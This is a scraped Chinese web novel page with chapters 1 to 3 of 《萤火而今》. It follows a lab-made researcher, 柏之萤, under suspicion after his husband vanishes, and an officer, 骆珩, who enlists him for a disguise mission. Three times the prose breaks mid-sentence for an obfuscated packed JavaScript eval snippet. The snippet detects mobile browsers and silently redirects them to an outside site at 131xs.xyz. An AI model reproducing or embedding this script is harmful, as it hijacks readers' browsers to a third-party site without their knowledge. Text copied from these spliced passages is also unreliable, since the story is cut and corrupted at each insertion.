《萤火而今》 1. 第一章 第一章 锡城特种生物研究所院里,常年空荡荡的停车位被涂着警察局标识的轿车塞满,基层的公车都多少有些年头了,这就显得早些时候入场的那辆高而宽的崭新的黑色越野在对比之下愈发吸引人的眼球。 跟警车一起来的,还有两辆开道的警用摩托,停在研究所门口那两颗高大的棕榈树下。 七月中旬的锡城大中午,周边的蝉鸣堪称聒噪。 不过,进了玻璃门,研究所的一楼却诡异得寂静。 骆珩在一楼角落的落地窗边坐了半个多小时的时候,碰上这群真枪实弹的人进来。 领头那个给安保出示过证件,所以,看门大爷虽然对他们的到来感到诧异,但还是暂时把他们放了进来。 场面看上去挺庄重,应该是出了大事。 但骆珩刚刚结束为期198天的任务,一眼没阖就回了锡城,匆匆回家洗了个澡换了身衣服,他现在最不想参与的就是大事。 如果不是填登记册那个小警察在问问题时说了柏之萤的名字,骆珩不会露面。 他从几颗围着咖啡角的盆栽后起身,虽然穿着常服,但刚绕出去,还是有人立刻认出了他。 可能是去总部开过会。 一时间,敬礼的动作整齐划一。 不过骆珩没给他们喊“长官好”的机会。 他做了个噤声的动作,整个研究所的一楼便重归平静。 有些太静了,像是空气都不再流动,越靠近骆珩的地方,越是地上掉根头发丝都能听见一样的静。 骆珩露面之前,有两个警察已经上楼了。 骆珩回到刚才坐的地方,让离他最近的那个警察跟他说明情况。 应该是骆珩让他感到非常紧张,所以最开始讲得磕磕绊绊,但骆珩一直没打断他,后来就渐渐地好一些。 锡城的一把手、监察局局长章衔京失踪了。 失踪前,最后一次被摄像头捕捉到是在离家一个两百米的路口,行车记录仪显示,他确实回了家。 当天,同他一起在家的,只有他的配偶柏之萤。 这边差不多讲清楚了,那边柏之萤也结束了问话,走在刚才跟他谈话的那两个警察前面下了楼。 走出电梯,柏之萤也被这场面惊了一瞬,眉头微皱,是没想到楼下还有这么多人。 手里都还有枪。 柏之萤的心情显而易见得更差。 其实他的脸部轮廓和五官都是一种偏向冷感的调性,但由于瞳孔的过深的颜色与白得发亮的皮肤做出对比,显得眼睛亮得偏向童真,还有微微下垂的眼角,也会容易让眼神显得无辜,不做表情时,都很难看出他是否不满。 柏之萤抿了抿唇,思考过后,还是决定发怒。 那个女警官态度挺好的,所以他停下脚步,转身问刚才就一直对他凶巴巴的男警察:“不是昨天才有人才去过家里,为什么今天又来我工作的地方?” 男警察道:“刚才说过了,有几个问题需要您补充解释。” “我没什么好解释的。”柏之萤道,“而且你们问的问题都是重复的,都来过几次了,你们互相都不交流的吗?” 男警察尽量诚恳地对他笑了一下:“请您配合我们的工作。” 柏之萤试图跟他讲道理:“你们自己找不到章衔京,就拿我开刀?我一个研究员,能有什么本事把他藏得干干净净,有在我身上浪费时间的功夫,三个章衔京都找着了。” 男警察还是说:“请您配合我们的工作。” 柏之萤正要说他自己也有工作,这些人不能一声招呼就不打地强行开他实验室的门,他今天的实验还没做完呢,就从身后来了两个人,戳了戳那个板着脸的警察,凑过去低声说了几个字。 这个人的表情终于有了变化。 柏之萤跟着他们的目光一起往左边看,看见一个今天昨天前天大前天,天天都见缝插针给他打电话的人。 没等柏之萤再说话,骆珩已经朝他走过来。 站得离他那么近,才停下脚步,低头在他耳朵跟前哄孩子似的解释:“我不是跟他们一伙的,我想等你做完实验,过了半个多小时,他们才来。” 柏之萤的好脾气快用完了,先没理他,回头问已经克制不住要对骆珩敬礼的警察:“你们还不走吗。” 一群人终于是走了。 柏之萤守着门,看着他们一个接一个地离开。 刚才问他没营养问题的警察经过时,柏之萤还对他说了句:“你明天不要再来了。” 最后剩下门神一样杵在他身边的骆珩。 “实验还接着做吗?” “不做了。”出无菌室之前,柏之萤就把试剂全都倒了,等着被他打针的小白鼠也都放回了无菌舱,今天的时间全都白费,柏之萤的心情罕见得不太好,“你也走。” 骆珩道:“我专门来找你的,跟你一起走。” 他比柏之萤高了整整一颗头,即便跟柏之萤讲话时习惯性地微微倾身靠近,可柏之萤要看他,还是只能抬头:“我不高兴。” 骆珩道:“摊上这么大的事,是该不高兴,一起回家,最近还有谁惹过你,都告诉我,好不好?” 柏之萤想了会儿,点了点头。 “我要先上去洗个澡换衣服。” 再下来时,柏之萤身上那件白大褂脱了,换上了白色的纯棉短袖和浅蓝色的牛仔裤。 踩一双板鞋,打扮跟个学生没区别。 只是他那么好看的学生哪里都少见。 脸上还是没什么表情,红嘴唇抿着。 是真生气了,骆珩想,怎么哄一下。 满停车场的警车走光了,靠近研究所院门口的车位上那辆车一眼就能看见。 骆珩把车钥匙塞进柏之萤手里:“去看看,喜不喜欢?” 柏之萤坐上主驾,调座位的动作有些生疏,骆珩告诉他一些基本功能的按键位置,就让他发动试试。 上路倒还平稳,遇到第一个红灯,柏之萤两只手还是握在方向盘上,眼睛认真看着红灯的秒数,第一次开口:“不是跟你说章衔京给我买了么。” “他买是他买。”骆珩语气淡淡的,“他怎么了,死了?” 柏之萤没说话。 骆珩又问:“这些人天天来烦你?” “没有。”柏之萤说,“之前都是章衔京局里的人,今天是第一次有警察来。” “多久了?” “78天。局里的人十天前确定有异常。” 78天。 骆珩看了柏之萤一眼:“记这么清楚?” “是啊。”柏之萤说,“他本来天天回家,对局里的人来说,确定失踪的日期很容易。” 他直接死外边不行吗还要先回家。 骆珩又要开口,被柏之萤制止:“你别跟我说话了,要绿灯了。” 骆珩闭了嘴,安安静静地坐在柏之萤的副驾驶。 柏之萤采纳了骆珩的建议,把车开到天玺城的地库,他停车的速度比较慢,但也稳,四四方方地把车倒进了停车位。 骆珩夸他:“这车的车身很宽,谁来开都不太好停。” 柏之萤的眼角弯了弯:“两边的后视镜我都会看。” 他刚拿驾照两个多月,正是喜欢别人认可他车技的时候。 骆珩又说:“最近都自己开车上下班?” 柏之萤跟着他上电梯,看着他眨了眨眼说:“对啊,章衔京不能送我了。” 骆珩忽略了后半句,又夸他:“真厉害。” 说话间,六楼到了。 柏之萤按指纹进门,环视一圈,问骆珩:“你来过?” 飞机落地锡城,骆珩在去研究所之前干了两件事,收拾自己,收拾家里。 这是柏之萤小时候跟家里人一起住过的地方,骆珩知道以后,买下来送给他,从那时候开始,柏之萤有时会愿意来这里待一会儿。 平台上买的菜和一些水果零食还有日用品也都送到了,被骆珩分两趟拎进厨房,日用品则分配到各个房间。 柏之萤洗完手,已经面朝下趴在了主卧的床上。 主卧向阳,这个时间日照正令人发晕,但他专挑光线最多的地方趴,整个后脑勺的黑发都被晒得滚烫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031665|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的短袖有点蹭上去,露出后腰上很小的一块皮肤,在阳光下愈发白得亮眼。 肩胛骨在柔软的衣料下凸显出轮廓,薄薄的一片,像蝴蝶轻轻落在骆珩的床上。 骆珩蹲在床边,把他衣服拉好,看他脸上果然已经没了不高兴的表情。 “谁惹过你?刚才说要告诉我。” 柏之萤把脸埋进自己掌心,几根手指头细又长,指甲盖莹润泛着粉白,骆珩盯着看了好一会儿,才催他:“谁给你气受了?” “没有。”柏之萤有仇当场就报了,此时无状可告,大中午的,不做实验,就催生出点困意,“先别做饭了,睡会吧,睡醒再吃。” 骆珩还不知道他? 不见面的时间,柏之萤没同意过骆珩的视讯请求,隔这么久才见,骆珩看他哪里都变瘦了。 “别想着午饭糊弄过去就不用吃了,柏之萤,你……” “你怎么不叫我阿萤了?” 柏之萤对他用这种语气叫自己全名很反感,觉得自己像被凶了:“而且我有说我要把午饭糊弄过去吗,我中午已经在研究所食堂吃过好不好,现在才下午三点多,你凭什么冤枉我。” 骆珩解释道:“我没凶你,冤枉你是我不好,但你好好告诉我,既然有按时吃饭,为什么还瘦了这么多?” 柏之萤的手被骆珩抓走,他长得没有骆珩高,肩膀没有骆珩宽,大腿没有骆珩粗,力气也没有骆珩大,挣了几下没挣出来,转而把脸埋进被单,声音模糊不清:“那当然是因为生病了。” 骆珩的眉头皱起来。 柏之萤不愿意频繁与他见面,不见面时,最好电话也别打,消息也别发。 骆珩自己无所谓,但柏之萤不愿离婚,他不能叫太多人觉得柏之萤在生活作风方面真有问题,所以即便是他,也没办法在这种情况下掌握柏之萤所有的事情。 竟然是今天回来才知道,蠢货章衔京不知道出了什么幺蛾子,害得柏之萤要遭受那些骚扰。 是被气病了? 骆珩其他的什么都不想了,有心马上带柏之萤去医院,柏之萤的手机响了,备注是“婆婆”。 柏之萤接了电话,叫了声妈妈。 官凌霄在那边开心地笑,不过很快就问他:“阿萤啊,妈怎么听说,骆珩去研究所把你带走了?他不是在南加,什么调回锡城,特情科专为衔京的事请他来的?” 柏之萤坐得很端正,回答了一个自己能回答的问题:“是被骆珩给带走了。” “局里的人跟我沟通过,衔京近段时间没有任务安排,而且确实是回家后就没再露面,阿萤,妈前段时间没把这个当成回事,你们两个闹归闹,他局里的下属着急没事,可现在特情科都有动静了,你不知道,骆珩那个人很不好惹的,更别说你胆子那么小,你叫衔京回来好不好?他又怎么招你了?” 刚才还说没受气的人道:“他招我的多了,他特别讨厌。” 官凌霄哄他:“这样,你跟他要什么,妈帮你说行不行?” 柏之萤想了会儿,最后还是说自己也不知道章衔京在哪里。 官凌霄没办法,没再逼他,认为跟特情科联系效率更高,转而问了他几句身体:“听说你昨天又去了趟医院,再查出什么毛病没有?” 柏之萤垂着眼睛:“是有点小毛病。” “怎么了?” “……医生叫我多吃点饭。” 官凌霄笑了:“想也知道是这样。” 他老怀疑自己生病,去了好多次医院都不相信医生,最后在实验室自己给自己做腹腔镜,被章衔京知道以后大发雷霆。 有十几年了,官凌霄没见过章衔京真那么动气。何况是对柏之萤。 “总之你不许再对自己乱来,上次被他吼把你吓成那样也该知道怕了,自己的身体不是这么玩的,记住了吧?” 柏之萤把自己的嘴唇咬来咬去,牙齿磕下去的时候弄得发白,松开时又迅速充血,变得更红,官凌霄又问了他两遍,他才老大不愿意地“嗯”了声。 挂了电话,柏之萤对上骆珩的眼神,半晌,很警惕地问:“难道你也要骂我?” 2. 第二章 第二章 骆珩从不骂他,但确实要教育他。 可惜的是,柏之萤已经被大太阳给晒得舒服的不行了,听着骆珩念叨他,渐渐什么都看不清,晕晕乎乎地卷着被子睡了一大觉。 醒来后开始耍赖,说自己并不饿,骆珩为什么要逼迫一个不饿的人吃饭? 两个人打了好长一通官司,柏之萤被骆珩按着吃了点汤泡饭,吃了几根蔬菜,骆珩又给他塞了两块鸡肉。 刷完牙洗了把脸,他额前的碎发有些湿,骆珩让他坐在洗手台上,拿吹风机给他吹干,又给他脸上涂了点润肤露。 柏之萤乖乖地仰着脸,把眼睛闭得很紧,鸦黑浓密的长睫毛挤作一团。 等骆珩涂完了,柏之萤问:“这个香不香?” 骆珩顺势把手撑在柏之萤的身后,俯身低头在柏之萤鬓边闻了闻,说:“香。” 柏之萤挺满意,不过用力推了他好几下,才成功跳下洗手台。 柏之萤该去章衔京那儿去报道了。 每周三和周五下午的六点到八点,分别去给章衔京整理会议资料和打扫章衔京的办公室。 做这个,柏之萤一个月能拿八十积分。 他曾是特种生物研究所里失败的实验体,待在研究所没有价值,基因库又已经被污染,早年研究员带他在外漂泊了几年,后来虽然走正规程序被章衔京收养,解除领养关系后,又跟章衔京结了婚,但身份永远与人类不同。 他每个考核期都得拿到足够的积分,才不会被遣送回收容所。 所以虽然章衔京本人下落不明,但柏之萤的工作还是要做。 这段时间,章衔京不在办公室,没人把他指挥来指挥去,柏之萤反而更清静。 刚到监察局,柏之萤还没关好车门,就有人跟他打招呼:“柏秘来啦?” 那人是章衔京的助理,一个融合了暹罗猫基因的女生,名字叫里诺,以往柏之萤在章衔京办公室交流最多的人。 她会在章衔京不注意的时候偷偷帮柏之萤操作扫拖机器人,帮柏之萤洗抹布,帮柏之萤擦章衔京书架上缠着的密密麻麻的藤蔓的叶片。 她帮柏之萤太多忙了,柏之萤自然对她特别热情,跑过去把手里拎着的两个小蛋糕和一杯沙梨酸梅汁举得高高的。 “今天怎么有钱了?”里诺很开心地接过去,问柏之萤,“你不会把饭钱省下来给我买小蛋糕了吧。” 柏之萤苦恼地说:“没钱。这是追我的人送我的。” 里诺憋不住笑了好几下:“你知道别人是追你还收啊。” 柏之萤左一下右一下鼓了鼓脸,慢吞吞道:“他直接买到我家里的,不吃都坏了。” 这个时间,监察局大楼里的人不多。 两个人一起上楼,等电梯的功夫,里诺喝了口沙梨酸梅汁,冰得猫尾巴都要冒出来,边嘶边问柏之萤:“我听说你惹出了大麻烦,你没真把我们领导怎么样吧?” 整天都被这么问,柏之萤感觉特别奇怪。 明明自己是很善良的人啊,整天被章衔京折磨,为什么章衔京那种大讨厌鬼出了事,这些人不为他感到开心就算了,还一个个都来怀疑他? “上次,他挂你考核,你当场把考核结果团成团扔到他头上。” “上上次,他拒绝帮你签独自上高速的同意书,你当场把笔扔到他头上。” “还有上上上次,他叫你先别睡了起来把饭吃完,你当场把面包丁扔到他头上。” “……停。”被这么一提醒,柏之萤想起当时的帧帧画面,还有章衔京骂他时候的凶恶表情和话语,满脸震惊,“原来章衔京对我这么差啊!我就说我生病了吧,这些事过了几个月我完全记不清了,幸好有你啊里诺。” 里诺却挺佩服他对自己记忆力的高要求:“你不是说你有仇当场就报么,报完还要再记几个月还不够啊?” 柏之萤很郑重地慢慢地摇了摇头,率先走出电梯,里诺就没太听清他嘟囔了句什么。 两个人配合得默契,工作做得也很快。 章衔京不在,柏之萤只用了四十分钟就准备下班了,特别得幸福。 他和里诺一起到一楼的打卡机上领积分,柏之萤领了10分,里诺领了50分。 这个区别问题,柏之萤倒是没什么疑问。 里诺做得比他多,他不光打扫不好卫生,章衔京那些会议的资料也特别没意思。 当然,这不是因为柏之萤的理解能力有问题,毕竟柏之萤自己的实验过程和结果全都记录得井井有条,实验也都做得特别成功,每年都发表论文若干。 所长说了,但凡柏之萤的身份正常,他早就评上教授了。 柏教授只是不喜欢政府文书里面大段大段无意义的文字。 而且,里诺的积分是监察局走公账给发的,他的10分是从章衔京账户扣的。 章衔京对他向来抠门。 上次,章衔京能因为他骂了章衔京一句“啰嗦精”就挂他考核,给他打了不合格,也是因为这个。 跟章衔京生活在一起,柏之萤常常感受到这种寄人篱下的挫败感,吃人嘴软,拿人手短。 骆珩就不一样了,骆珩特别得大方,性格也很好。 柏之萤收到车的时候假装不太想要,他都没像章衔京一样臭着脸说:“别蹬鼻子上脸。” 章衔京还逼柏之萤自己去贷款买车!! 最终没贷成功还是因为柏之萤的积分太少,可是这不还是怪章衔京吗??? 仅仅想起这么两件事,柏之萤就委屈得想哭了。 走出监察局大楼,柏之萤的一张小脸还皱着,红嘴唇微抿,情绪明显低落地同里诺挥手道别。 里诺看起来也有些舍不得他,说出的话却令柏之萤不太喜爱:“阿萤,你要不考虑下把我们领导放出来吧,真被抓起来不是开玩笑的,实验体对人类产生威胁,有人上纲上线的话,你会有危险。” “那个骆珩,多少有骨气的融合体都怕他,我今天听好多人说这件事要被转给特情科了,好像就是他来负责。” 柏之萤用对官凌霄的办法对付里诺——他没说话。 “哎。”里诺叹了口气。 以前她帮章衔京额外做这两项工作,每次拿20积分。 柏之萤来了以后,章衔京给她涨到了50。 该说不说,虽然章衔京事先讲过柏之萤会添些乱,让她多担待,但柏之萤挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031666|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可爱的,相处久了,里诺还是没能习惯柏之萤的漂亮,又越来越觉得柏之萤可爱。 而且柏之萤也并没有真的添乱。 她做事的时候,柏之萤还会用很多好听的话来夸奖她。 就凭这一点,里诺也不希望看到柏之萤出事。 不过这也不能怪柏之萤。 办公室的几个同事都认为,是章衔京对柏之萤有些过于溺爱了。 “他被我们全家给宠坏了,衔京又不是会教育孩子的人,从小由着他的性子长,要星星不给月亮,现在变得无法无天的,惹出这么大的事,给你们都添麻烦了。”手机屏幕上显示来电人为“官校长”,对方语气诚挚,甚至称得上小心,又尽力拉近关系,“我问他问不出什么,家里人他都不怕,我昨晚想了想,是你来负责这件事还好,以前在学校,我就知道你是个好孩子,有耐心,小骆,你好好劝劝他,他可能还会听一两句。” 骆珩答应了声,说:“官老师,您不用跟我客气,您是我的老师,章局长也跟我相识多年,之萤在我这里您放心,就算暂时回不了家,我也会照顾好他的。” 官凌霄顿了几秒钟,才说:“还不让回家啊?” “现在的情况不方便说太多,但我可以保证不会有事,您放心。” 听着电话里的骆珩左一个放心,右一个放心,特情科那边又什么风声都不肯露给她,一时间官凌霄想了很多,其中最多的是等章衔京回来,真得让他好好收拾收拾柏之萤了。 柏之萤哼着歌坐进主驾的时候,骆珩还在打电话。 “……组个小队给我,三五个人就够了,都要锡城本地人。” “他们要的诺亚是什么人,叫研究所把资料发来,再要一个人,唔……就柏之萤吧,他最合适。” “手续不用走太复杂,我已经跟南加的办公室打过招呼,稍后他们会发来一个协作邀请,你叫下面的人上传系统就好。” 等他打完电话,柏之萤说:“安全带。” 骆珩系好安全带,柏之萤才按部就班地启动汽车。 骆珩幅度很大地转过身,观察柏之萤脸上的表情。 刚从楼门口出来时还一脸委屈,这会儿又哼上歌了。 他一秒钟能有365个心情。 “你笑什么?”柏之萤一秒严肃,怀疑自己的车技被人嘲笑,抽空很快地看了眼骆珩,就重新目视前方,“我出来的时候打转向灯了啊,你没看见?” “看见了,特别标准。”骆珩说,“明天不能去研究所了,有个任务要你跟我走十天左右,现在回家收拾行李?” 骆珩补充:“晚上不逼你吃饭,喝杯牛奶也行。” 柏之萤没问太多问题,刚才听他打电话,已经明白了七七八八。 骆珩的任务需要一个研究员的帮助。 柏之萤刚好有空。 想到明天那个对柏之萤一点都不友好的男警察去研究所扑个空,柏之萤的心情就轻盈漂浮了起来。 不过,柏之萤很专注,一直没说话,等到遇到一个红灯,把车停好,才摇摇头,大方地让骆珩多了解一些柏之萤的喜好:“那你明天早上再来接我吧,我在章衔京家里睡习惯了,换地方我不喜欢。” 3. 第三章 第三章 他们临时出的这个任务,来的时间点巧妙。 是一个名叫火鸟的反政府组织,昨天下午发来消息,说章衔京在他们手里,如果要人活着回去,准备好八个亿的南加币,再加上锡城研究所一个叫诺亚的实验体。 钱的数目要得合理,附带条件也够苛刻,看着像是真心做交易。 毕竟,融合实验体的核心要素从未外泄,一直完整把控在当局手中。 来换锡城的政治中心章衔京,很说得过去。 第二天一大早,锡城特勤科分局按照骆珩的要求组建的小队集合完成,到天玺城接上骆珩后,最后去接柏之萤。 时间是早上八点钟,往常,柏之萤到研究所打卡的时间是十点。 没买车之前,他搭章衔京的车,偶尔还会被迫九点出门。 自从拿了驾照,他的打卡时间就成了09:59:56。 所以官凌霄送他出来的时候,他眼睛还没完全睁开。 早晨温度低,柏之萤身上穿了件烟灰粉的大卫衣,胸前满印着黑色粗线条的夸张印花,腿上还是牛仔裤,不过多了两个破洞,开在大腿和膝盖处,头发也整理过,一点碎刘海柔顺地盖在额前,深栗色的发顶覆着早晨的阳光,柏之萤在车前站定,又捂着嘴小小打了个哈欠。 看来不去研究所的时候,他也有不是高中生的衣服。 长成了大学生。 开车的是锡城特勤局出任务的专用司机之一,叫张展轩,人长得高大健壮,看着干脆利落,车到了他手里,小于89度的都算坡,都能上。 官凌霄叮嘱他们一路小心的时候,张展轩拍着胸脯向她保证,一定把柏之萤全须全尾地带回来。 不这么保证还好,这样一说,官凌霄更担心了。 她拉住柏之萤什么都不管只知道往车里钻的动作,忧心忡忡地问骆珩:“小骆啊,你爸妈最近还好?” 官凌霄开口有些后悔,当了一辈子校长,习惯了,张嘴就是寒暄。 骆珩道:“都好,听说南加的峰会结束了,他们昨天回了新港。” “我知道,看到新闻了。你们一家子都忙,一年下来都团圆不了几次,既然这样,你不回新港去看看主席和你妈妈?” 还不错,话题又转回来了。 骆家全家都是大忙人,骆珩这尊大佛不知道怎么被她家柏之萤给撞上了。 骆珩解释道:“他们也不待见我,见我的时候,倒是夸学长多。” 骆珩嘴里的这个学长,指的是章衔京,官凌霄听懂了。 她昨晚和今早各给骆珩去了一通电话,明摆着要拉曾经当过他校长的关系,他现在这样说,说明应了官凌霄,在事情没有盖棺定论之前,多少会照顾些柏之萤。 官凌霄这才真的放了点心。 她身后还跟着两个人,手里四个大行李箱,知道的,柏之萤现在涉嫌非法囚禁自己的丈夫,说得严重点,是谋杀嫌疑,被特勤科变相软禁。 不知道的,会以为柏之萤是被家人送去国外游学。 见她终于露出点肯放手的苗头,司机张展轩眼疾手快下了车,把几个箱子放进商务车的后备箱,接着跳回驾驶位,油门一声轰鸣,由不得官凌霄再后悔,驶离了锡城显贵聚集的半山别墅区。 车里加上柏之萤,一共六个人,四男两女。 除了柏之萤,其他人的包裹最多是一个登机箱,最少的是张展轩,只有一个斜挎包。 官凌霄可谓是临行密密缝。 昨晚得到柏之萤今天要跟骆珩出门的消息以后,就赶过来,替他收拾到半夜。 可惜这几个箱子里的衣服,也就内衣柏之萤能用得到。 “……诺亚应该不是普通的实验体,她早就已经离开了研究所,现在所里留存的有关于诺亚的资料也很少,特勤局申请了最高权限,也只得到这一张纸,PDF我昨晚已经发到大家邮箱,应该都看到了。” 说话的是特勤局的女调查员,名叫邵意,也是一名融合基因异能觉醒者,从大学毕业后,就一直在特勤局工作。 锡城临时组起的小队里,她对骆珩的印象最深,因为曾经被借调到南加总部,跟骆珩有过几面之缘。 不过不管见没见过骆珩,几个人对骆珩的崇拜都差不多。 坐在邵意旁边的刺青中年男人补充道:“骆队,其实诺亚到底在不在研究所,意义不大,我们不可能真把敏感实验体交给这种组织,本来也应该由我们自己的人来假扮。” 道理是明摆着的,说到“假扮”这回事,也很简单。 那页有关于诺亚的纸上寥寥数字,总结起来,诺亚的特征为:性别女,预计五年内达到成年体状态,预计身高169-175,误差不超过3cm,预计体重65kg加减10kg,发色棕,瞳孔墨绿,预计觉醒异能:@?%?##@? 车上这四男两女六个人中,骆珩、张展轩、刺青男都与此体型相差甚远,两个女调查员,一个融合的古猛犸象基因,肌肉比张展轩还发达,另一个邵意是响尾蛇融合体,身高直逼一米九。 邵意道:“没关系,我们有……” “车上有水吗?我渴了。” 柏之萤不知道什么时候醒了,他靠窗坐在商务车的第二排,左手边是骆珩,身体还向右歪在车门上,眼睛睁开了,嗓音还困着,平白无故也像撒娇。 “有,你喝冰的还是常温?”邵意问。 柏之萤说:“常温的,谢谢。” 邵意从副驾扶手的储物箱里拿出一瓶常温矿泉水,递给柏之萤之前,拧松半圈瓶盖。 柏之萤一手握水瓶,一手接在自己下巴下面,仰起脸小口喝了两口,又对邵意说:“谢谢。” 他问:“你们刚才说什么呢,被我给打断了。” 车里默契地静了一瞬。 “噢,是这样。”猛犸融合体从柏之萤身后的座位探出头来,吓了柏之萤一跳,赶忙冲他抱歉地笑笑,把自己的手机屏幕凑到柏之萤面前解释道,“你看看,这是诺亚的资料,她早不在研究所了,所以现在火鸟的人要她换章局长,只能以假乱真。” 前后几双眼睛都望向柏之萤,柏之萤的嘴唇上还有被矿泉水润湿的痕迹,刚刚睡醒,眼睛里好像也有水光,一时半会没反应过来,嘴巴张成一个小o,转脸看骆珩。 骆珩接过他手里的水,理了下他耳边的头发,刚要说什么,柏之萤道:“可我是短头发。” 邵意忙说:“没问题的,我们都是短头发,有准备假发!” 说话间,她便从驾驶位的张展轩的斜跨包里掏出一顶发色跟柏之萤的十分相近的假发。 长长的大波浪卷,被邵意拎在手上,弧度一弹一弹,光泽度也柔和逼真,倒是不难看。 柏之萤想到,这也是没办法的事,妥协了一半,又问:“那我穿什么?” 邵意紧接着从张展轩的斜跨包里掏出一块黑色的布料,扬手抖了抖,展开一看,竟是一件裙子。 女生的衣服还挺凉快的。不知道新港最近热不热,反正锡城的大中午是够热的。柏之萤想。 看他没有要再反抗,邵意脸上露出个柏之萤看不懂的笑容。 不过,很快他就懂了。 火鸟把这次的交易地点定在新港附近的一个码头,需要乘船抵达。 上船之前,张展轩七拐八拐,把车开进一条小巷。 走到尽头,邵意从左手边倒数第二间小破屋的门顶上摸出钥匙开门。 里头三米见宽,看样子连他们六个人都容纳不下,好在张展轩和刺青男先去买午饭,骆珩也有别的事,暂时离开了,屋里还不算太挤。 邵意跟猛犸融合体两个女生先指挥柏之萤换上及膝的挂脖小黑裙,在柏之萤没注意的时候,拼命管理脸上抽动的肌肉,好一会儿,才整理好声线,将柏之萤安顿在靠窗的一把简陋的木质椅子上,又从张展轩留下的斜跨包里掏出一堆瓶瓶罐罐。 柏之萤明白过来,这是要化妆。 他的两只手放在膝盖上,双腿并拢,腰背也挺得笔直,姿势比小时候听柏言蹊上课时都端正。 两个给他化妆的女生则在一旁叽叽喳喳,两颗头凑到一起,盯着手机屏幕争来争去,是在给柏之萤选妆容。 柏之萤并不觉得不耐烦,也没有自己成了换装游戏玩偶的不开心,还嘱咐了邵意一句:“选一个好看的。” 邵意冲他比了个OK的手势:“相信我。” 等终于要动手时,已经过去了十五分钟,张展轩和刺青男已经把饭买回来,准备开吃了。 两个人在门口愣了一会儿,邵意提醒他们关门,张展轩才回手把门关上。 刺青男也没再说话,跟张展轩一起蹲在墙角低头吃盒饭。 不过,两个女生的兴奋没有维持太久。 柏之萤刚闻到一股化妆品的特有香气,刷子在他脸上没刷几下,就没了动作。 他睁开闭得死紧的眼睛,正要问怎么了,骆珩回来了。 如果眼神有实质,柏之萤相信,他全身都已经被骆珩的给包起来了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031667|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他首次出现不自在的情绪,感觉整片背部发凉,坐下时只遮到大腿的裙子也变得更短了一样,他想起身找自己的卫衣套上,骆珩的外套就披在了他肩头。 他进了门,站得离柏之萤很近,眼睛一直看着柏之萤,说出的话是在问满脸通红的邵意:“你们给他擦了锅灰?” 倒也不是真有这么夸张。 不过邵意确实在用了最白的色号以后,还是得到了这个效果。 肉眼看着是差别不大的,但等真正刷到柏之萤脸上,发黄和发灰还是太明显。 没办法,只能卸掉。 可柏之萤从没用过卸妆油,他在水龙头下洗了半天,越洗脸上越黏,睫毛上糊得都是,眼睛完全睁不开,最后是被骆珩捏着他脖子把他拎起来,托着后颈帮他用湿毛巾一下下轻轻擦掉了。 即便如此灾难,邵意仍没有完全放弃。 上船的时候,趁骆珩不注意,悄悄对柏之萤说:“等我回去买个新的粉底液,咱们再试试,一定能成功的。” 柏之萤看了看她,拨开被风吹到脸上的长发,假发的刘海比他自己的长一些也多一些,遮住眉毛,一双大眼睛显得他的脸更小了,白皙漂亮的鼻尖下是简单涂了透明唇蜜的红嘴唇,细长的手指缠着深栗色卷发,美得邵意心悸。 她听见柏之萤无奈地轻声问她:“你真以为我傻啊,回去以后都不需要我假扮成女生了,还给你们玩。” 邵意抿着嘴低头,没敢笑。 柏之萤真有本事挟持章衔京?邵意太震惊了。 不知道骆珩究竟什么想法,反正现在还看不出来。 希望他能对美人有些善意,邵意想,起码在事情没有水落石出之前。 柏之萤穿裙子之前没怎么别扭,但穿上了裙子,他的确感觉怎么都不舒服。 总感觉两腿生风,稍动一动,屁股就要露出来了。 可是已经上船,盯着他们的人一定不少,柏之萤没有反悔的机会了。 上了船,他就钻进房间,决定在天黑之前都不再出门。 分配房间时,他被分到跟骆珩一间。 里面有两张床,柏之萤先坐在靠海那边那一张床上,顾自低头费劲地整理挂脖系带。 等骆珩用酒精湿巾把房间到处擦了一遍,从登机箱里拿出家用的床单被套和枕套换上,柏之萤就重新换到他整理好的那张床上。 柏之萤有些晕船,尤其是在房间里的时候,不能靠近窗外。 他还没整理好系带,总是松了太松,紧了太紧。 骆珩拉开他扯带子的手,把上船前专门去给他买的一盒水果塞进他手里。 他不吃盒饭,明早靠岸附近有好一点的酒店,但今天怎么也要吃点东西。 柏之萤挺听话,捧着果切,扎了块莲雾啃了一口,一边问骆珩怎么哑巴了,一天都不说话。 骆珩已经沉默着转身要走开,柏之萤还是低头的姿势,向前杵在骆珩腰间,拽了拽骆珩的手,说:“你帮我弄。” 骆珩的手刚抓到他的系带,他发誓,指腹只碰了柏之萤的皮肤一秒钟。 柏之萤就直起上身,摔了果切,哭起来了。 这不能怪骆珩。 自从柏之萤穿了这个破裙子,一分钟能喊八百次骆珩。 帮他弄拉链、系带、裙摆。 衣服的领边磨得他不舒服。 